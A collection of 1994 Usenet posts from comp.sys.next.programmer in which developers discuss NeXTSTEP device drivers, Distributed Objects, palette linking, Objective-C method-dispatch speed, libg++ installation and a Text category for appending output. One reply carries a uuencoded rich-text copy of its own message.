Newsgroups: comp.sys.next.programmer From: dhg@csn.org (David H. Goodlette) Subject: Re: NeXT 3.2 device driver information wanted! Message-ID: <CLrxD5.IsA@csn.org> Sender: news@csn.org (The Daily Planet) Organization: Colorado SuperNet, Inc. References: <2kfuqi$k3n@digdug.pencom.com> <2kj1m0$ekl@digdug.pencom.com> Date: Fri, 25 Feb 1994 09:36:40 GMT Ricardo Parada (ricardo@pencom.com) wrote: : In article <CLo3B5.31s@csn.org> dhg@csn.org (David H. Goodlette) writes: : > And I'm in the process of writing a NeXTSTEP 3.2 LAN device driver : > for a new wiz-bang PC clone out of the UK. Within the deep recesses : > of this little monster, there lies an Intel 82596 LAN controller : > chip : We wrote that driver for UNISYS boxes that were sold to Bozell. It's : probably the only driver I've seen about as fast or maybe faster than the : Intel EtherExpress. The UNISYS boxes had that same ethernet controller : on-board, the Intel 82596 that uses bus mastering technology. You may be : able to get it from Brent Terry (Manager of the Technology Integration : group here at Pencom). The driver was written for 3.1 and then ported to : 3.2 since there were some API changes. At the risk of slitting my own throat, I'm forwarding this onto my customer in order to give them the option if they want to buy instead of build. Unfortunately, even with all the problems I've had, I'm still having loads of fun writing it... Dave
From: fxg@wolf.informatik.rwth-aachen.de (Felix Gatzemeier) Newsgroups: comp.sys.next.programmer Subject: Re: Is inheritance a good idea? Date: 25 Feb 1994 10:55:24 GMT Organization: Lehrstuhl fuer Informatik III, RWTH Aachen, Germany Message-ID: <FXG.94Feb25115524@wolf.informatik.rwth-aachen.de> References: <1994Feb16.160308.1645@afs.com> <T04LBUTS@gwdu03.gwdg.de> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit In-reply-to: mzeller@gwdu03.gwdg.de's message of Fri, 18 Feb 1994 12:27:56 GMT -- Felix (fxg@(([Pool|I3].Informatik)|(Tolkien.ImIB)).RWTH-Aachen.de NeXT-Mail ok, but slow)
Newsgroups: comp.sys.next.programmer From: gery@ares.fdn.org (Gery Divry) Subject: Re: Detection of Connection break in Distributed Ojects Message-ID: <1994Feb25.082500.866@ares.fdn.org> Sender: news@ares.fdn.org Organization: Ares - Lyon, France. References: <2kjn06$pnd@zip.eecs.umich.edu> Date: Fri, 25 Feb 1994 08:25:00 GMT Craig E Rasmussen writes > In article <1994Feb24.091149.3366@xexos.com> eddie@xexos.com (Eddie Chan) > writes: > > [stuff deleted]; > > the example in the above docs. do not seem to apply to the server > side of the NXConnection. If the client dies the server will not get a > senderIsInvalid message (is this a bug?). No,It work perfectly, I am using it in a LicenceManager App to distribute floating licences and if all the protocols, registration, and delegation are done correctly, the server receive a message if the client is killed or crash. One exception .... it he client is launched on gdb ... the server don t receive notification ( you should know that if you intent to debug the process). -- Gery DIVRY ( ZZVolume Daddy ) ARES Publisher 8, rue Victor Lagrange Phone: (+33) 72 80 16 30 69007 LYON Fax: (+33) 72 80 16 32 France Email: gery@ares.fdn.org Earth, Solar System, Galaxy N 1 NeXT Mail accepted -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9FUO9&5R;B!#;W5R:65R.UQF,5QF M;6]D97)N($]H;&9S.UQF,EQF=&5C:"!3>6UB;VP[?0I<;6%R9VPQ,C`*7&UA M<F=R,3(P"GM<8V]L;W)T8FP[7')E9#!<9W)E96XP7&)L=64P.WT*7'!A<F1< M='@Q,34R7'1X,C,P-%QT>#,T-39<='@T-C`X7'1X-3<V,%QT>#8Y,3)<='@X M,#8T7'1X.3(Q-EQT>#$P,S8X7'1X,3$U,C!<9C!<8C!<:3!<=6QN;VYE7&9S M,C1<9F,P7&-F,"!<"EP*0W)A:6<@12!287-M=7-S96X@=W)I=&5S7`H*7'!A M<F1<='@P7'1X,3$R,%QT>#(R-#!<='@S,S8P7'1X-#0X,%QT>#4V,#!<='@V M-S(P7'1X-S@T,%QT>#@Y-C!<='@Q,#`X,%QT>#$Q,C`P7'1X,3(S,C!<='@Q M,S0T,%QT>#$T-38P7'1X,34V.#!<='@Q-C@P,%QT>#$W.3(P7'1X,3DP-#!< M='@R,#$V,%QT>#(Q,C@P7&9C,5QC9C$@7`H*7'!A<F1<='@Q,30P7'1X,C,P M,%QT>#,T-#!<='@T-C`P7'1X-3<V,%QT>#8Y,#!<='@X,#8P7'1X.3(P,%QT M>#$P,S8P7'1X,3$U,C!<9F,P7&-F,"!<"EP*/B!);B!A<G1I8VQE(#PQ.3DT M1F5B,C0N,#DQ,30Y+C,S-C9`>&5X;W,N8V]M/B!E9&1I94!X97AO<RYC;VT@ M*$5D9&EE($-H86XI(#X@=W)I=&5S.EP*/B`*7'!A<F1<='@P7'1X,3$R,%QT M>#(R-#!<='@S,S8P7'1X-#0X,%QT>#4V,#!<='@V-S(P7'1X-S@T,%QT>#@Y M-C!<='@Q,#`X,%QT>#$Q,C`P7'1X,3(S,C!<='@Q,S0T,%QT>#$T-38P7'1X M,34V.#!<='@Q-C@P,%QT>#$W.3(P7'1X,3DP-#!<='@R,#$V,%QT>#(Q,C@P M7&9C,5QC9C$@7`H*7'!A<F1<='@Q,30P7'1X,C,P,%QT>#,T-#!<='@T-C`P M7'1X-3<V,%QT>#8Y,#!<='@X,#8P7'1X.3(P,%QT>#$P,S8P7'1X,3$U,C!< M9F,P7&-F,"`^(`E;<W1U9F8@9&5L971E9%T[7`H^(%P*/B`)=&AE(&5X86UP M;&4@:6X@=&AE(&%B;W9E(&1O8W,N(&1O(&YO="!S965M('1O(&%P<&QY('1O M('1H92!S97)V97(@7`H^('-I9&4@;V8@=&AE($Y80V]N;F5C=&EO;BX@($EF M('1H92!C;&EE;G0@9&EE<R!T:&4@<V5R=F5R('=I;&P@;F]T(&=E="!A(%P* M/B!S96YD97))<TEN=F%L:60@;65S<V%G92`H:7,@=&AI<R!A(&)U9S\I+B`@ M7`I<"EP*3F\L270@=V]R:R!P97)F96-T;'DL($D@86T@=7-I;F<@:70@:6X@ M82!,:6-E;F-E36%N86=E<B!!<'`@=&\@9&ES=')I8G5T92!F;&]A=&EN9R!L M:6-E;F-E<R!A;F0@:68@86QL('1H92!P<F]T;V-O;',L(')E9VES=')A=&EO M;BP@86YD(&1E;&5G871I;VX@87)E(&1O;F4@8V]R<F5C=&QY+"!T:&4@<V5R M=F5R(')E8V5I=F4@82!M97-S86=E(&EF('1H92!C;&EE;G0@:7,@:VEL;&5D M(&]R(&-R87-H+B!/;F4@97AC97!T:6]N("XN+BX@:70@:&4@8VQI96YT(&ES M(&QA=6YC:&5D(&]N(&=D8B`N+BX@=&AE('-E<G9E<B!D;VZI="!R96-E:79E M(&YO=&EF:6-A=&EO;B`H('EO=2!S:&]U;&0@:VYO=R!T:&%T(&EF('EO=2!I M;G1E;G0@=&\@9&5B=6<@=&AE('!R;V-E<W,I+EP*(%P*7`H*7'!A<F1<='@Q M,34R7'1X,C,P-%QT>#,T-39<='@T-C`X7'1X-3<V,%QT>#8Y,3)<='@X,#8T M7'1X.3(Q-EQT>#$P,S8X7'1X,3$U,C!<9F,P7&-F,"`M+5P*"EQP87)D7'1X M-3(P7'1X,3`V,%QT>#$V,#!<='@R,3(P7'1X,C8V,%QT>#,R,#!<='@S-S(P M7'1X-#(V,%QT>#0X,#!<='@U,S(P7&8Q7&9S,C!<9F,P7&-F,"!'97)Y($1) M5E)9"0D)"0D)"2@@6EI6;VQU;64@1&%D9'D@*5P*"EQP87)D7'1X.38P7'1X M,3DR,%QT>#(X.#!<='@S.#0P7'1X-#@P,%QT>#4W-C!<='@V-S(P7'1X-S8X M,%QT>#@V-#!<='@Y-C`P7&9C,5QC9C$@05)%4PD)"0D)4'5B;&ES:&5R7`HX M+"!R=64@5FEC=&]R($QA9W)A;F=E"0D)4&AO;F4Z(`DH*S,S*2`W,B`X,"`Q M-B`S,"`@7`HV.3`P-R!,64]."0D)"49A>#H@"2@K,S,I(#<R(#@P(#$V(#,R M7`I&<F%N8V4)"0D)"45M86EL.B!G97)Y0&%R97,N9F1N+F]R9UP*16%R=&@L M(%-O;&%R(%-Y<W1E;2P@1V%L87AY($X*7&8R(+`*7&8Q(#$)"4YE6%0@36%I /;"!A8V-E<'1E9%P*"GT* `
Newsgroups: comp.sys.next.programmer From: gery@ares.fdn.org (Gery Divry) Subject: A way to draw in the AppIcon Message-ID: <1994Feb25.103711.1275@ares.fdn.org> Keywords: AppIcon Sender: news@ares.fdn.org Organization: Ares - Lyon, France. Date: Fri, 25 Feb 1994 10:37:11 GMT Hello I am looking for an example showing how to draw in the AppIcon. (I ve seen that somewhere but I can t put my hand on it (ackward translation of french expression).. Gery DIVRY ( ZZVolume Daddy ) ARES Publisher 8, rue Victor Lagrange Phone: (+33) 72 80 16 30 69007 LYON Fax: (+33) 72 80 16 32 France Email: gery@ares.fdn.org Earth, Solar System, Galaxy N 1 NeXT Mail accepted
Newsgroups: comp.sys.next.programmer From: gery@ares.fdn.org (Gery Divry) Subject: A way to draw in the AppIcon Message-ID: <1994Feb25.105034.1412@ares.fdn.org> Sender: news@ares.fdn.org Organization: Ares - Lyon, France. References: <1994Feb25.103711.1275@ares.fdn.org> Date: Fri, 25 Feb 1994 10:50:34 GMT Hello I am looking for an example showing how to draw in the AppIcon. (I ve seen that somewhere but I can t put my hand on it (ackward translation of french expression).. Gery DIVRY ( ZZVolume Daddy ) ARES Publisher 8, rue Victor Lagrange Phone: (+33) 72 80 16 30 69007 LYON Fax: (+33) 72 80 16 32 France Email: gery@ares.fdn.org Earth, Solar System, Galaxy N 1 NeXT Mail accepted
From: Sean.Hill@iphysiol.unil.ch (Sean L. Hill) Newsgroups: comp.graphics.visualization,comp.sys.next.programmer Subject: A data shader for RENDERMAN? Date: 25 Feb 1994 12:19:01 GMT Organization: Institut de Physiologie, Universite de Lausanne Sender: -Not-Authenticated-[8561] Message-ID: <2kkqbl$i8m@cisun2000.unil.ch> Xdisclaimer: No attempt was made to authenticate the sender's name. I'm interested in developing some software for visualization in 3D using Renderman. Is it possible to write a shader that would take data from a data file to use for each point on the surface of an object. I would like to be able to reference a datafile from within the shader itself. Is this possible? It would be extremely powerful if it could be done. How does mapping of textures get done? It must be something similar? Thanks- Sean ----- Sean L. Hill Institut de Physiologie / Universite de Lausanne Rue du Bugnon, 7 CH-1005 Lausanne SWITZERLAND E-mail: Sean.Hill@iphysiol.unil.ch NEXTMAIL: hill@iisnext1.unil.ch
From: scheurer@lithnext.epfl.ch (Marco Scheurer) Newsgroups: comp.sys.next.programmer Subject: Re: Linking libraries into palettes Date: 25 Feb 1994 13:22:45 GMT Organization: Ecole Polytechnique Federale de Lausanne Message-ID: <2kku35$qjg@disuns2.epfl.ch> References: <2kkf7u$qvs@neptune.inf.ethz.ch> In article <2kkf7u$qvs@neptune.inf.ethz.ch> giuliett@inf.ethz.ch (Raffaello Giulietti) writes: > We need to link a library into a palette. We tried: > libtool: succeds to link but InterfaceBuilder doesn't find a class that > it needs and that is contained in the palette. > PALETTELDFLAGS: (as explained in the palette.makefile) doesn't link at all. > OTHERLIBS: doesn't even appear on the cc command line. > > Thanks > Raffaello Giulietti Hi, This one took me some time to figure out. The workaround to this problem is to put the following in your palette's Makefile.preamble: # Additional relocatables to be linked in at this level OTHER_OFILES = /usr/local/lib/YourLib.a Even with that I had a problem with categories not being loaded in test mode in IB. To solve this, you also need to set the following flag, which is not a default for palette projects: PALETTELDFLAGS = -ObjC Thanks to Lynn Cox, from NeXT Developer Support, who helped me with this. Marco --- In 1994 Microsoft will introduce Windows 4.0. And you'll see why 1994 will be just like 1984. Marco Scheurer (scheurer@lithnext.epfl.ch, NeXTMail) Laboratoire d'Informatique Theorique Ecole Polytechnique Federale de Lausanne (Switzerland) (+41) 21 693-2589
From: dja3@meaddata.com (Dave Anderson) Newsgroups: comp.sys.next.programmer Subject: Re: Let us be philosophical Date: 25 Feb 1994 15:20:05 GMT Organization: Mead Data Central, Dayton OH Message-ID: <2kl4v5$arb@meaddata.meaddata.com> References: <2k5emp$n0v@meaddata.meaddata.com> <1994Feb22.155048.10175@its.com> In-reply-to: msb@its.com's message of Tue, 22 Feb 1994 15:50:48 GMT michael barthelemy > Since Obj-C method calls are about four times michael barthelemy > slower than function calls... I'm just wondering where this stat comes from; I'd like to read the reference. Thanks - Dave
Newsgroups: comp.lang.objective-c,comp.lang.c++,comp.sys.next.programmer,gnu.g++.help From: ifrosch@slate.mines.colorado.edu (Frosch) Subject: Re: Objective-C and C++ (at the same time) Message-ID: <1994Feb25.141727.66008@slate.mines.colorado.edu> Date: Fri, 25 Feb 1994 14:17:27 GMT References: <CLqL0u.9KL@cdsmail.cdc.com> <CLqy63.I3E@unixhub.SLAC.Stanford.EDU> Organization: Colorado School of Mines Followup-To: comp.lang.objective-c,comp.lang.c++,comp.sys.next.programmer,gnu.g++.help Paul Kunz (Paul_Kunz@slac.stanford.edu) wrote: : In article <CLqL0u.9KL@cdsmail.cdc.com> Ben Youngdahl : <Ben.Youngdahl@cdc.com> writes: : > of calling methods. I.e., you want to call the method "foo" for an : > object : > "bar", you'd do: [bar "foo"] or something like that, and if the object : > "bar" : It's [bar foo] : > didn't have a "foo" method, ... no harm done. Am I correct? : > : No, you get a run-time error saying bar does not implement foo. Unless you implement the forward:: message. Just reading about that one last night. We've got a C++ bigot who complains too much that Objective-C doesn't have multiple inheritance, and I wanted to see how NeXT handled that argument (See "Object-Oriented Programming and the Objective-C Language") --- Ira Frosch iroo@deep13.com
Newsgroups: comp.sys.next.programmer From: cedar@cedar.demon.co.uk (Cedar Systems) Subject: Doing dashed lines??? Distribution: world Organization: Cedar Systems Date: Fri, 25 Feb 1994 15:06:29 +0000 Message-ID: <762188789snz@cedar.demon.co.uk> Sender: usenet@demon.co.uk In the ImprovingDrawingPerformance.rtf in Concepts, we are advised not to use pssetdash to do dashed lines but to use user paths or compositing instead. How do you do dashed lines using user paths (other than 1 0 rmoveto 1 0 rlineto) and / or using compositing? Thanks, Paul. --
From: michael@cogito.iaee.tuwien.ac.at (Suessner Michael) Newsgroups: comp.sys.next.programmer Subject: Printing with my own pagination! Date: 25 Feb 1994 16:04:26 GMT Organization: Technical University Vienna, Austria Message-ID: <2kl7ia$59o@email.tuwien.ac.at> I am trying to do my own pagination by using the methods knowsPagesFirst and getRect:. In the first method, I deside how many pages must be drawn, and in the second method getRect: I am doing the following: [printInfo getMarginLeft:&l right:&r top:&t bottom: &b]; pageSize.width = NX_WIDTH([printInfo paperRect]) - (l+r); pageSize.height = NX_HEIGHT([printInfo paperRect])- (t+b); My drawself methods then get these parameters, but only parts of the drawn area are also visible on the paper. What am I doing wrong? Please HEELLPP! Suessner Michael
Newsgroups: comp.sys.next.programmer From: ian_stewart@nyro.com (Ian H. Stewart) Subject: Licensing code somewhere? Message-ID: <CLs8E1.152@nyro.com> Sender: ian@nyro.com (Ian H. Stewart) Organization: NYRO Technix, Inc. - 415 664-1170 Date: Fri, 25 Feb 1994 13:34:48 GMT Wasn't there source code for a license scheme by simon available somewhere? Any others? I am looking for a framework and will change the specific formulas. Thanks ihs
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer From: crc0y@cauchy.urich.edu (coates r carter) Subject: libg++ install problems Message-ID: <1994Feb22.175658.23584@gossip.urich.edu> Sender: news@gossip.urich.edu (USENET News System Admin) Organization: University of Richmond Date: Tue, 22 Feb 1994 17:56:58 GMT I have been struggling to get the gnu libg++ libraries in order on NS3.0. All the documentation I have gives no specific-to-next instructions on building and installing the libraries. The instructions I have are incomplete. I have been advised of this and that you have to have to tweak and so on. But there are still problems. Does anyone have or know of some documentation that will walk me through this installation on a next? Or, if any of you sysadmin/language gurus can remember when you installed libg++, please advise me. Thanks, Coates Carter
Newsgroups: comp.sys.next.programmer From: Scott Byer <byer@mv.us.adobe.com> Subject: Re: Let us be philosophical Message-ID: <1994Feb25.182339.5944@adobe.com> Sender: usenet@adobe.com (USENET NEWS) Organization: Adobe Systems Incorporated References: <2kl4v5$arb@meaddata.meaddata.com> Date: Fri, 25 Feb 1994 18:23:39 GMT Dave Anderson writes > michael barthelemy > Since Obj-C method calls are about four times > michael barthelemy > slower than function calls... > I'm just wondering where this stat comes from; I'd like to read the > reference. I understand that it's about 9-12 instructions overhead on the 68k for an ObjC call. Given that it doesn't have to put up a stack frame, that about equivalent to the frame begin/end instructions (which, although only about 6-8 instructions, includes the MMOV instruction for saving off the registers, which is expensive), maybe even less. So I'd hardly say four times. Maybe something more like 1.5 - 2 times. Note that on a RISC architecture, the difference becomes even less. The function call would break the pipe anyway, and putting up a stack frame is more expensive by far than the few instructions needed to compute the jump on the ObjC overhead, so the ratio there (as an educated guess) would be 1.2 - 1.4 times. All this is moot for tight loops, where the programmer *should* be pre-fetching a procedure pointer using @selector and calling through that. The only case where that couldn't be done is where you are traversing down a list of objects. But since you couldn't do that in C anyway :-), a small amount of overhead is irrelevant. -- Scott Byer NeXTMail: byer@mv.us.adobe.com Adobe Systems Incorporated These are *my* opinions, and 1585 Charleston Road, P.O. Box 7900 do not necessarily reflect Mountain View, CA 94039-7900 the opinions of my employer. ---------------------------------------------------------------------
From: mstankus@oba.ucsd.edu (Mark Stankus) Newsgroups: comp.sys.next.programmer Subject: Simple Text object question Message-ID: <62255@sdcc12.ucsd.edu> Date: 25 Feb 94 18:27:02 GMT Sender: news@sdcc12.ucsd.edu Organization: Mathematics @ UCSD This should be a simple question... I have a Text object on the screen (pull it off the pallete...the one with the scrollbar) and call it outlet 'output' of some controller object. I want to be able to append a line of text to the text object from inside my program. So the command would look like [output someMethod??:"A line of text\n"]; Any help would be appreciated. I have the NS General Reference 1, but can't find this simple operation. Mark Stankus
From: npratt@glacier.sim.es.com (Nevin Pratt) Newsgroups: comp.sys.next.programmer Subject: Re: How do you (best) free NIB objects? Date: 25 Feb 1994 20:45:36 GMT Organization: E&S Distribution: world Message-ID: <2klo1g$ffq@cnn.sim.es.com> References: <CLr7qJ.B3v@mentor.cc.purdue.edu> In article B3v@mentor.cc.purdue.edu, davis@sonata.cc.purdue.edu (Robert Davis) writes: > I free my windows and their delegates like this, too. But how > do most people free NXApp's delegate? I tried something similar to > the window technique -- putting an [NXApp delayedFree:self] in > -appWillTerminate: -- but the delegate never gets a -free because the > app has terminated. And there ain't no appDidTerminate: :-) > > So I usually stick most of my cleanup in appWillTerminate: and > just don't worry that the delegate is never freed. I don't like the > idea of doing a [self free] in -appWillTerminate, especially since it > needs to return a meaningful value. Why do you care if NXApp's delegate gets freed? The delegate needs to be around as long as NXApp is, and if NXApp goes away, the program has terminated anyway, resulting in an ipso-facto free of the delegate with no added effort. Nevin
From: bali@leland.Stanford.EDU (Valentina Andrea Bali) Newsgroups: comp.sys.next.programmer Subject: OPN Question: Standard Protocols Date: 25 Feb 1994 20:21:32 GMT Organization: Stanford University, CA 94305, USA Message-ID: <2klmkc$lao@nntp2.Stanford.EDU> The ObjectWare Professionals Network asks a simple question: What standard protocols would be useful to developers? Standard interfaces have been a tremendously powerful concept in computing; the existence of SQL, for example, as a standard language has fueled the growth of the relational database vendors who implement it. Likewise, standard protocols, implemented by multiple ObjectWare vendors, could have the same effect, assuring application developers that multiple sources exist for the code modules they depend on. This increases the value of ObjectWare. Please e-mail your responses to: opn-survey@vega.stanford.edu and please state the role your organization plays in the ObjectWare universe in the form: Organization Name : Role1, Role2, .... as the first line in the message. This will allow us to group ideas according to your perspective. The possible roles are: ObjectWare Vendor Consultant Systems Integrator Corporate Developer Independent Software Vendor (Applications) System Software Vendor (NeXT?) and Other, of course. If your organization plays more than one role, please list them. Thank you. - marcos j. polanco - shiva@vega.stanford.edu - 415-328-6826
From: magnus@fisher.Stanford.EDU (Magnus Nordborg) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer Subject: Re: libg++ install problems Date: 25 Feb 1994 21:00:42 GMT Organization: Department of Biological Sciences, Stanford University Message-ID: <MAGNUS.94Feb25130042@fisher.Stanford.EDU> References: <1994Feb22.175658.23584@gossip.urich.edu> In-reply-to: crc0y@cauchy.urich.edu's message of Tue, 22 Feb 1994 17:56:58 GMT In article <1994Feb22.175658.23584@gossip.urich.edu> crc0y@cauchy.urich.edu (coates r carter) writes: > I have been struggling to get the gnu libg++ libraries in order on NS3.0.> > All the documentation I have gives no specific-to-next instructions on > building and installing the libraries. The instructions I have are > incomplete. I have been advised of this and that you have to have to > tweak and so on. But there are still problems. > Does anyone have or know of some documentation that will walk me through > this installation on a next? Or, if any of you sysadmin/language gurus > can remember when you installed libg++, please advise me. I would strongly recommend upgrading to NEXTSTEP 3.2 which comes with libg++. Although the versions of g++ and libg++ you get that way are not the newest (template support, e.g., has improved since then) they work, and furthermore you can integrate Objective-C nicely with C++. If you find that you still want the newest gnu stuff, having 3.2 will make it easier to install them as well. Remember that you have to get gcc before you can get libg++ (this is clearly stated in the INSTALL file). -- Magnus Nordborg magnus@fisher.stanford.edu (NeXT mail welcome) Department of Biological Sciences Stanford University Stanford, CA 94305-5020 +1 (415) 723-4952 (office)
From: npratt@glacier.sim.es.com (Nevin Pratt) Newsgroups: comp.sys.next.programmer Subject: Re: Let us be philosophical Date: 26 Feb 1994 00:45:14 GMT Organization: E&S Distribution: world Message-ID: <2km62q$hch@cnn.sim.es.com> References: <2kl4v5$arb@meaddata.meaddata.com> In article arb@meaddata.meaddata.com, dja3@meaddata.com (Dave Anderson) writes: > michael barthelemy > Since Obj-C method calls are about four times > michael barthelemy > slower than function calls... > > I'm just wondering where this stat comes from; I'd like to read the > reference. > > Thanks - Dave I'll jump in here and add my $.02. A year or two ago, I read an article by Brad Cox (forgot which magazine). He claimed that with his compiler, he had it down to about 2.2 times slower. (I presume this is when the method is already in the method cache). I personally feel like the number on the NeXT is around 2.5 times slower if the method is already in the message cache, and it could easily be 50 times slower for cache-misses, but I'll assume about 30 for the sake of this post. Also, all stats I've seen indicate approximately a 95% cache-hit rate. Therefore, the average would be (19 * 2.5 + 30) / 20, or approximately 3.875 times slower on average. In comparison, a C++ virtual function dispatch is commonly quoted as being about 1.8 times the speed of a straight function call. Now, if the average time spent executing a method is roughly 50 times more than the time to invoke a normal C function call, we get these timings: Time to invoke and execute a C function------------ 51.0 Time to invoke and execute a C++ Virtual function-- 51.8 Time to invoke and execute a Obj-C method---------- 53.8 This shows that the C++ Virtual function approach is roughly 98% of the speed of straight C functions, and the Obj-C method dispatching approach is roughtly 96% of the speed of the C++ Virtual function approach, all other things being equal, and assuming the conditions stated. Trouble is, all other things are *not* equal. The C++ Virtual function approach "flattens" the class hierarchy with dispatch table replication at each node of the inheritance hierarchy, whereas Obj-C doesn't do this. In short, C++ can easily consume more memory from the table replication at each node, thus placing greater demands on virtual memory, thus placing greater demands on swapping, etc., thus mitigating any supposed advantage gained. Of course, a counter claim might be that since C++ doesn't support Class objects, it doesn't consume memory in their support. And, still other arguments can be made, pro and con. Usually, the overall speed difference (function call vs. Virtual Functions vs. method dispatch) to the program is not worth squabbling over. The algorithms implemented are more important, as are the usual encapsulation, maintanence, etc., concerns. To me, Obj-C is a big win in this area, for a bunch of reasons I'm too lazy to elaborate on. Just use the best tool for the job, while considering other factors. If you don't believe this, then I guess you should write everything in Assembly Language :-) Nevin
Newsgroups: alt.sources.d,comp.sources.d,comp.os.386bsd.misc,comp.unix.programmer,comp.sys.apollo,comp.sys.next.programmer,comp.unix.ultrix,comp.unix.sys5.r4,comp.sys.sun.misc,comp.sys.hp.hpux From: tma@encore.com (Thanh Ma) Subject: Re: announcing ncurses 1.8.5 Organization: Encore Computer Corporation Date: Fri, 25 Feb 1994 22:24:41 GMT Message-ID: <CLswx9.87H@encore.com> References: <zmbenhalCLpn4I.5y2@netcom.com> Sender: news@encore.com (Usenet readnews user id) zmbenhal@netcom.com (Zeyd M. Ben-Halim) writes: >This is to announce the latest version of ncurses (1.8.5) >It is available by anonymous ftp as: >netcom.com:pub/zmbenhal/ncurses/1.8.5.tgz >The file is a gzipped tar. gzip and tar are available from >you favorite GNU archive. It is ftp.netcom.com. -- -- Thanh Ma tma@encore.com
Newsgroups: comp.sys.next.programmer From: bmhahn@poseidon.knoware.nl (Bernhard Hahn) Subject: Compiling ASA 2.20 for NS 3.2 Sender: news@knoware.nl (News Account) Message-ID: <CLsuAo.1FF@knoware.nl> Date: Fri, 25 Feb 1994 21:27:59 GMT Organization: Knoware Nederland Hi, I tried to compile/run Lester Ingber's ADAPTIVE SIMULATED ANNEALING (ASA 2.20) [ftp.alumni.caltech.edu] software on my NS 3.2 (Motorola) system. The program compiles without any errors or warnings and runs fine, as long as no optimization (-O) is used during compilation. When optimization is used, the program also compiles without errors or warnings, but crashes at the beginning of a for() loop. If someone is using ASA 2.20 under NEXTSTEP or just has a hint, please contact me. Thanks, --- Bernhard Hahn Holtrichtersveld 802 7327 DG Apeldoorn The Netherlands Tel: +31-55-339220 Fax: +31-55-339220 email: bmhahn@poseidon.knoware.nl (NeXT mail OK)
From: pedja@cs.umd.edu (& Bogdanovich) Newsgroups: comp.sys.next.programmer,comp.lang.objective-c Subject: Forcing ObjC SEL info to be included in .o Date: 26 Feb 1994 03:12:41 GMT Organization: U of Maryland, Dept. of Computer Science, Coll. Pk., MD 20742 Distribution: world Message-ID: <PEDJA.94Feb25221242@midgard.cs.umd.edu> When NeXT's cc compiles ObjC code, it puts selector information in the resulting object file (this selector info is stored into some section of the __OBJC segment): 1. for all methods defined in @implementation/@end blocks, 2. for all methods declared in @protocol/@end blocks, and 3. for all selectors directly referenced by @selector. However, the compiler DOES NOT store the selector information if the methods are only seen in @interface/@end blocks. Here is an example when this does matter. Suppose I have two running programs. First program, call it remote, has an instance of: @interface MyObj:Object {} - myMethod; @end None of the objects in the second program implement myMethod (1), nor (2) any of the protocols declare myMethod, nor (3) myMethod is directly referenced by @selector. (Note that some of the source files of this program might have #import-ed MyObj.h.) Now, sending message myMethod to any remote object in the remote program: [remoteObject perform:SELUID("myMethod")]; DOES NOT WORK, since the second program does NOT know what SEL for myMethod is! Now, the question: is it possible to force the compiler to save all the selector information, even if it is only seen in @interface/@end? Thanks. Pedja
From: Matt_Watson@next.com (Matt Watson) Newsgroups: comp.sys.next.programmer Subject: Re: Forcing ObjC SEL info to be included in .o Date: 26 Feb 1994 07:45:19 GMT Organization: NeXT, Inc. Distribution: world Message-ID: <2kmumf$cgl@rosie.next.com> References: <PEDJA.94Feb25221242@midgard.cs.umd.edu> Just use sel_registerName() instead of sel_getUid() or SELUID(). matt.
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: Simple Text object question Date: 26 Feb 1994 11:07:03 GMT Organization: San Francisco State University Message-ID: <2knagn$h58@nic-nac.CSU.net> References: <62255@sdcc12.ucsd.edu> In article <62255@sdcc12.ucsd.edu> mstankus@oba.ucsd.edu (Mark Stankus) writes: >I have a Text object on the screen (pull it >off the pallete...the one with the scrollbar) and >call it outlet 'output' of some controller object. >I want to be able to >append a line of text to the text object from >inside my program. So the command would look like > > [output someMethod??:"A line of text\n"]; Easily done by adding a category to the Text class. Here's an oft-repeated example that gives you the ability to use [output appendText:"A line of text\n"]; and even [output printf:"My process id is %d\n", getpid()]; BTW, you may find it useful to have a "Clear Buffer" menu item that does [output setText:""]; -=EPS=- ------- #import <ansi/stdarg.h> #import <streams/streams.h> #import <appkit/Text.h> @interface Text(Printf) - appendText:(const char *)aString; - printf:(const char *)format,...; @end @implementation Text(Printf) - appendText:(const char *)aString { int e; if ((e=[self textLength])<=0) [self setText:aString]; else [[self setSel:e:e] replaceSel:aString]; [self scrollSelToVisible]; return self; } - printf:(const char *)format,... { NXStream *s; char *streambuf; int len, maxlen; va_list ap; va_start(ap, format); s=NXOpenMemory(NULL, 0, NX_WRITEONLY); NXVPrintf(s, format, ap); (void)NXPutc(s, '\0'); NXFlush(s); NXGetMemoryBuffer(s, &streambuf, &len, &maxlen); [self appendText:streambuf]; NXCloseMemory(s, NX_FREEBUFFER); va_end(ap); return self; } @end
Newsgroups: comp.sys.next.programmer From: pmy@vivaldi.acc.Virginia.EDU (Pete Yadlowsky) Subject: Re: Command line program to concatenate two sound files? Message-ID: <CLnKpx.8DH@murdoch.acc.Virginia.EDU> Sender: usenet@murdoch.acc.Virginia.EDU Organization: Academic Computing, University of Virginia References: <2kdsh8$2bt@golf.ustores.missouri.edu> Date: Wed, 23 Feb 1994 01:13:09 GMT In article <2kdsh8$2bt@golf.ustores.missouri.edu> c512052@monad.missouri.edu writes: >I have two REALLY BIG 16kHz stereo sound files which I would like to >concatenate, and nothing more. Every .app I have used has choked on them. You don't say how these apps attempted the concatenation, but... >Is it possible to write a small command line program that taps into the >sound objects necessary and outputs the concatenated file? Sure, don't use Sound objects. If I'm not mistaken, loading a soundfile into a Sound object maps that file into virtual memory. This can cause problems if the file is very large and your available swap space isn't. Instead, try writing a simple program that opens and reads the sound files directly, copying their contents to the concatenation file. Keep the first file's header and discard those of the other files. -- Peter M. Yadlowsky | Wake! The sky is light! Information Technology & Comm. | Let us to the Net again... University of Virginia | Companion keyboard. pmy@Virginia.EDU | - after Basho
